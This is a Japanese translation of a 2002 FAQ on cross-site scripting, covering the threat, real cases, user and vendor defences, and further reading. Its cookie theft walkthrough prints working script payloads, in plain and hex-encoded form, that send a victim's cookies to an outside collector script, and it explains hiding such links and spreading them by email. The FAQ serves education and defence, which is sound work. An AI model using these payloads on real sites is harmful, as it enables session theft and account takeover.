「クロスサイトスクリプティング FAQ」
原文 http://www.cgisecurity.com/articles/xss-faq.shtml
内容についてはいかなる保証もできません。ご利用は自己責任でお願いします。また、訳文のことで著者に問い合わせるのはご遠慮ください。
訳者 八木都志郎 yagi@lovemorgue.org 更新履歴
* 始めに
* クロスサイトスクリプティングとは何か
* XSS と CSS の意味は？
* クロスサイトスクリプティングの脅威とは？
* クロスサイトスクリプティング攻撃の実例は？
* クッキー盗用がどんなものか見せてほしい
* ベンダーです。どうやって対策をすればいいでしょうか？
* ユーザーとして自衛するにはどうすればいいですか？
* XSS はどれくらい知られたものなのでしょうか？
* 暗号化で自衛できますか？
* XSS セキュリティホールでコマンドは実行されますか？
* もし CSS/XSS セキュリティホールを直すつもりがないとしたら、どんなことになりますか？
* XSS をもっと詳しく知るために役立つリンクを教えてください
始めに
今日ではウェブサイトはかつてないほど複雑になり、ユーザーがさらに楽しめるような動的コンテンツを含むようになっています。動的コンテンツはユーザーの環境や必要に合わせて異なるアウトプットを提供できるウェブアプリケーションを通じて行われるものです。動的ウェブサイトには静的なウェブサイトにはない脅威、「クロスサイトスクリプティング（あるいはセキィリティの専門家の間での通称
XSS）が存在します。今のところ、クロスサイトスクリプティングについての簡単な案内はありますが、上級者向け、管理者向けのまともな解説はありません。この
FAQ はこの新たな脅威へのよりよい理解と、検出と回避のためのガイダンスを提供するために作成されました。
クロスサイトスクリプティングとは何か
クロスサイトスクリプティング（別名 XSS）はウェブアプリケーションがユーザーから悪意をもってデータを収集する際に発生します。データは通常、悪意のあるコンテンツを含んだリンクのフォーム内に集められ、ユーザーは大抵の場合他のウェブサイトや掲示板、電子メール、インスタントメッセンジャーからこのリンクをクリックしてしまうものと考えられます。通常、攻撃する側はサイトへのリンクの悪意のある部分をHEX（またはその他の方法で）エンコードしているため、クリックする際にユーザーにはそれが疑わしいものには見えません。データがウェブアプリケーションに集積されると、独自に送信する悪意のあるデータを含んだページをユーザーに向けて作成しますが、ウェブサイトから送られる正しいコンテンツにある程度偽装してあります。
XSS や CSS の意味は？
クロスサイトスクリプティングのことを CSS と呼ぶ人もいます。そのためカスケーディング・スタイルシート（CSS）と混同することも多々あります。セキュリティ関係者の中にはクロスサイトスクリプティングのことを XSS と呼ぶ人もいます。誰かが「XSS の穴を見つけた」と言うのを聞いたら、その人は間違いなくクロスサイトスクリプティングのことをいっています。
クロスサイトスクリプティングの脅威とは？
攻撃側はユーザーを騙したりデータを収集するのに JavaScript や VB Script、ActiveX や Flash を潜り込ませます（詳しくは下記を読んでください）。アカウント乗っ取りやユーザー設定の変更、クッキーの盗用／改竄、不正な広告の表示などから生じるあらゆることが可能になります。XSS
攻撃による悪意ある新規ユーザーは毎日のように検出されており、この下の Brett Moore の投稿では、「アクセス拒否」やユーザーが掲示板の書き込みをただ読むだけで発生する「自動攻撃」の危険性に関する優れた議論が述べられています。
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
クロスサイトスクリプティング攻撃の実例は？
多くの XSS セキュリティホールがある製品の一つに、有名な PHP のプログラム PHPnuke があります。この製品は名が知られているため、しばしば
XSS セキュリティホールの探査のために攻撃者に利用されます。この製品単体から見つかったり公開された報告／レポートのリンクをいくつか挙げておきました。こちらで多くの実例を得られるでしょう。
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
クッキー盗用がどんなものか見せてほしい
挿入部分の変数や位置はウェブアプリケーションによって変更される必要があります。以下は攻撃者の手口の簡単な一例であることに留意してください。
ステップ１：ターゲットを決める
ウェブサイト上のウェブアプリケーションに XSS セキュリティーホールを発見したら、そこからクッキーが発行されるかどうかみてみましょう。ウェブサイトのどこかでクッキーを使っているなら、ユーザーからそれを盗み出すことが可能になります。
ステップ２：テストする
どのように悪用するかで XSS セキュリティホールにも違いはありますが、アウトプットを信用するに足るものにするためにいくつかのテストが必要になります。スクリプトをコードに挿入することで、出力される結果が変更され、ページが壊れてしまうかもしれません。（出力結果は重要なもので、攻撃者はページを普通のものだと見せかけるためにコードを仕上げる必要が生じてきます。）次に
Javascript（やその他のクライアントサイドのスクリプト言語）をサイトの無防備なところを指した URL に挿入する必要があります。以下に XSS
セキュリティホールをテストするためのリンクを挙げておきます。これらのリンクでは、クリックされるとユーザーのクッキーを www.cgisecurity.com/cgi-bin/cookie.cgi
に送信し、それを画面に表示します。クッキーが表示されれば、ユーザー・アカウントの乗っ取りが出来る可能性があることになります。
クッキー盗用 Javascript の例。 用法はその下に。
ASCII Usage: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>
Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注：リクエストはまず ASCII に見せかけ、それからコピー＆ペースト目的の HEX になっています。
1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script>
HEX
%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27
%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69
%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f
%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script>
HEX
%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74
%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e
%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c
%2f%73%63%72%69%70%74%3e
3. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX
%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74
%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69
%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65
%3c%2f%73%63%72%69%70%74%3e
これらが Javascript 悪用の例です。これらの Javascript サンプルはユーザーのクッキーを収集し、リクエストのクエリーにクッキーを一緒にして
cgisecurity.com に送信しています。これがやろうとしていることは明白です。
My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi
これで my site に次のようなリクエストを送信しています。
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding
for a space)
これは原始的なやり方ではありますが、ユーザーのクッキーを盗むのには効果を発揮します。このパブリックスクリプトの使用ログは www.cgisecurity.com/articles/cookie-theft.log
で見ることができます。
ステップ３：XSS の実行
巧妙に作成した url をばらまいたり、電子メールや実行させるためのソフトウェアを使います。ユーザーに URL を頒布する場合（電子メールや AOL
メッセンジャーなどの手段で）、少なくとも HEX エンコードする必要があります。コードはどう見ても怪しいものになりますが、hex キャラクターの山に埋もれさせることで騙される人もいるでしょう。
上の例ではユーザーを cookie.cgi に誘導するだけでした。さらにいくつかリダイレクトと XSS の組み合わせをやるだけの時間があるアタッカーなら、ユーザーのクッキーを盗み出して、それに気付かないまま元のウェブサイトへ戻らせることも出来るかもしれません。
電子メールのプログラムによってはメッセージの冒頭の、または添付ファイルに含まれている Javascript を実行することもあります。Hotmail
のような大手のサイトも添付ファイル内の Javascript を許可していますが、クッキーを盗まれないよう特別にフィルタリングが施されています。
ステップ４：このデータで出来ること
いったんユーザーが XSS セキュリティホールに引っ掛かると、データは盗み出されて CGI のスクリプトに送られます。こうなると Websleuth
のようなツールを使ってアカウント乗っ取りが可能かどうか調べられてしまいます。
この文章は FAQ であってクッキー盗用と改竄を詳述した論文ではありません。iDefence の David Endler が発表した新しい論文では自動的に
XSS セキュリティホールを実行するさまざまな方法についてさらに詳しく解説されています。こちらでご覧下さい。http://www.idefense.com/XSS.html
ベンダーです。どうやって対策をすればいいでしょうか？
簡単に答えます。ユーザー・インプットを信用せず、常にメタキャラクターにフィルターをかけましょう。これで XSS 攻撃の大半を振り落とすことができます。スクリプトの出力には「<」と「>」を「<」と「>」に置き換えることもお勧めします。XSS
セキュリティホールを悪用されれば損害を受けますし、高くつくものになることには留意してください。アタッカーはセキュリティホールを公表することもあります。これによりあなたのサイトがセキュリティやプライバシーの保護といった面で顧客と世間の信頼を損ねることになりかねません。「<」と「>」をフィルタリングするだけでは全てのクロスサイトスクリプティング攻撃への解決となるわけではありません。「(」と「)」も同じく「(」と「)」に変更して出力することをお勧めします。
ユーザーとして自衛するにはどうすればいいですか？
ユーザーとして自身を守るのに一番簡単な方法は、観たいメインサイトからのリンクだけを辿ることです。たとえば、あるサイトを訪れて、そこからCNNにリンクされているとしたら、クリックしてCNNのメインサイトに行くのではなく、検索エンジンを使って見たい記事を探しましょう。これで危険の９０％は回避できます。XSS
には電子メールや添付ファイルを開いたときに自動的に実行されるものがあります。知らない人から（あるいは好ましくない人から）電子メールを受け取ったときには、その文面を信じてはいけません。インターネット・エクスプローラーではセキュリティ設定を高にしてください。これでクッキーを盗まれるのを防ぐことができるかもしれず、また一般的にはそうするのが安全なのです。
XSS はどれくらい知られたものなのでしょうか？
クロスサイトスクリプティングのセキリティホールは多くのウェブサイトで見つかる簡単なセキュリティホールとしてハッカーの間で有名になりつつあります。FBI.gov、CNN.com、Time.com、Ebay、Yahoo、Apple
computer、Microsoft、Zdnet、Wired、Newsbytes はどこも一つまたは複数の XSS バグが見つかっています。
毎月おおよそ１０から２５の XSS セキュリティホールが商用製品中に見つかっており、その脅威を解説する報告が出されています。
暗号化で自衛できますか？
SSL（https）を使用しているウェブサイトでは暗号化されていないウェブサイトよりももちろん防御は効いています。ウェブアプリケーションもそれまで同様動作しますが、攻撃は暗号化された接続から実行されることになります。ブラウザに鍵のマークが表示されるので何でも安全だと思い込む人もいますが、実際はそうではありません。
XSS セキュリティホールでコマンドは実行されますか？
XSS セキュリティホールから Javascript を挿入されます。そのため制限付きで実行を許可してしまうかもしれません。アタッカーがブラウザのオーバーフロー（ブラウザのセキュリティホール）を悪用すれば、クライアント側でコマンドを実行させることが可能になるでしょう。もしコマンドの実行が可能であれば、それはクライアント側でのみ起こることです。簡単に言えば、XSS
セキュリティホールはブラウザにあるかもしれないセキュリティホールを悪用するのを手助けするために利用される可能性があるものなのです。
もし CSS/XSS セキュリティホールを直すつもりがないとしたら、どんなことになりますか？
XSS セキュリティホールを直さないことにより、新規に登録されたりアップデートされる際にサイト内の一部のユーザーアカウントを危険に晒すことになります。最近ではさまざまな大手サイトでクロスサイトスクリプティングのセキュリティホールが見つかっており、広く公表されています。修復しないままでいると、誰かがそれを見つけてその企業に対して注意を呼び掛けるかもしれません。セキュリティ問題にだらしないと評されて、企業の評判に傷が付くでしょう。現に生じている問題に対処しないというメッセージとしてこのことが当然クライアントにも伝わり、信用問題になってしまいます。もしクライアントに信用されなければ、取り引き相手にもなってはもらえないでしょう。
XSS をもっと詳しく知るために役立つリンクを教えてください
"Cross-site scripting tears holes in Net security" http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm
XSS セキュリティホールの記事は http://www.perl.com/pub/a/2002/02/20/css.html
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html
CGI スクリプトのユーザー・サプライド・データから Meta-characters を削除することについての論文http://www.cert.org/tech_tips/cgi_metacharacters.html
マイクロソフトの Passport システムについての論文
http://eyeonsecurity.net/papers/passporthijack.html
クッキー盗用についての論文
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies
The webappsec mailing list (Visit www.securityfocus for details) webappsec@securityfocus.com
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002
Copyright May 2002 Cgisecurity.com
Copyright www.cgisecurity.com (c)2002
訳者のページ
更新履歴
・訳者が自分のタイプミスを発見。更新記録の記述を変更。02.6.13
・原著者に公開の許可を得ました。02.6.11
・原文にあったタイプミスを修正（貢献者：office さん）02.6.11＊訳者が理解していないところを質問したら、ものすごくわかりやすく解説していただきました。なお、このページの記述にはまだ不十分なとことがあります（「ベンダーです。どうやって対策をすればいいでしょうか？」の章です）。次のアップデートで改訂される予定になっていますが、クロスサイトスクリプティングの対策について詳しく知りたい方はこちらのセキュア・プログラミング講座「クロスサイトスクリプティング」もご覧下さい（日本語）。
・タイプミスその他を修正（貢献者：yomoyomo さん） 02.6.8